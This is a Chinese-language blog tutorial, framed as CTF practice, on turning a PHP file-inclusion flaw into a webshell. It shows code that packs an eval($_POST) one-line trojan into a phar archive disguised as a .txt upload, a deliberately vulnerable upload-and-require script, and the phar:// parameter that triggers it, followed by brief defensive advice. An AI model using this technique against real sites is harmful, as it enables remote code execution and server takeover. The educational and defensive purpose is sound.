我们相信:世界是美好的,你是我也是。平行空间的世界里面,不同版本的生活也在继续...

综合前述phar的各种信息,在本文的内容中,苏南大叔将结合一个较为常见的php经典require任何包含文件漏洞,构建一个基于phar的一句话木马。这里,大家看看下面的php源码中,为什么上传文件的文件都不是.php文件,也不是.phar文件,却被安装执行了木马漏洞呢?

苏南大叔:ctf攻防,如何利用phar文件构建php一句话木马? - phar-php-hack
ctf攻防,如何利用phar文件构建php一句话木马?(图3-1)

本文测试环境:mac/php@7.1.7

漏洞简述

本文中php的漏洞点在于:主要基于require语句中的文件参数,可以由外部控制。然后我们通过文件上传,上传了一个由phar文件伪装的普通文本文件,再控制参数require到这个伪装的普通文本。并利用phar的虚拟文件方式,最终执行了我们的一句话木马。

$file = $_REQUEST['file'];
if ($file != '') {
   require($file);
}

上述代码,是最主要的漏洞点。

构建一个特殊的txt文本

当然,这里的txt文本,也可以是jpggif等任何正常的可以上传的文件类型。我们通过上一篇的文章中的方法,构建一个包含在phar文件中的特殊虚拟文件shell,并把phar文件改名为txt文件。

$p = new Phar("phar.phar");
$p->compressFiles(Phar::GZ);
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['shell'] = 'shell:<br/><?php phpinfo(); eval($_POST[x]); ?>';
$p->setStub("<?php
    Phar::mapPhar('p.phar');
__HALT_COMPILER();");
$p->stopBuffering();
unset($p);
@rename("my.phar","my.phar.txt");

苏南大叔:ctf攻防,如何利用phar文件构建php一句话木马? - shell
ctf攻防,如何利用phar文件构建php一句话木马?(图3-2)

上传txt逻辑

对于上传代码逻辑来说,这样一个txt文本是没法拒绝的。上传成功的概率几乎是100%。

<?php
if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name));
    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                //die('Success upload. FileName: '.$savefile);
                die("http://php/demo/upload.php?file=phar://".$savefile."/shell");
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }

}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));
}

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}
$file = $_REQUEST['file'];
if ($file != '') {
    require($file);
    // $inc = sprintf("%s.php", $file);
    // include($inc);
}
?>
<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

构造特殊参数执行一句话木马

因为参数$file是本文的漏洞所在,所以一个特殊的$file取值,是本文成功的另外一个关键所在。
/upload.php?file=phar://uploaded.txt/shell 这句话实际执行的是:

require("phar://uploaded.txt/shell");

通过以前的学习,可以知道:上述语句,可以requireuploaded.txt这个phar文件中的虚拟文件shell。而eval则是这个木马执行的另外一个关键所在。当然了,这里仅仅是个演示罢了。结合postman就可以执行任意php语句了。剩下的事情,苏南大叔就不讲述了,带坏小朋友是不好的。

苏南大叔:ctf攻防,如何利用phar文件构建php一句话木马? - shell2
ctf攻防,如何利用phar文件构建php一句话木马?(图3-3)

相关链接

结论

在本文中的,此类一句话木马的防范方法,也是非常简单的。比如:

  • 绝对不能相信用户输入的参数,一定要对用户输入的数据进行检测。
  • 绝对不能require(或者说include)用户能控制的文件。
  • php.ini中一定要禁用一些危险的php函数,比如eval。我们可以在php.ini中,设置disable_functionsdisable_classes 。但是eval是特殊的禁用方式。

关于php的安全问题,也是作为一名合格的phper所必备的基本功之一。关于php的安全问题,在苏南大叔以后的文章中,也会有所提及。

更多有关网络安全问题,可以点击这里查看:

如果本文对您有帮助,或者节约了您的时间,欢迎打赏瓶饮料,建立下友谊关系。
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留作者链接。

 【福利】 腾讯云最新爆款活动!1核2G云服务器首年50元!

 【源码】本文代码片段及相关软件,请点此获取更多信息

 【绝密】秘籍文章入口,仅传授于有缘之人   php    phar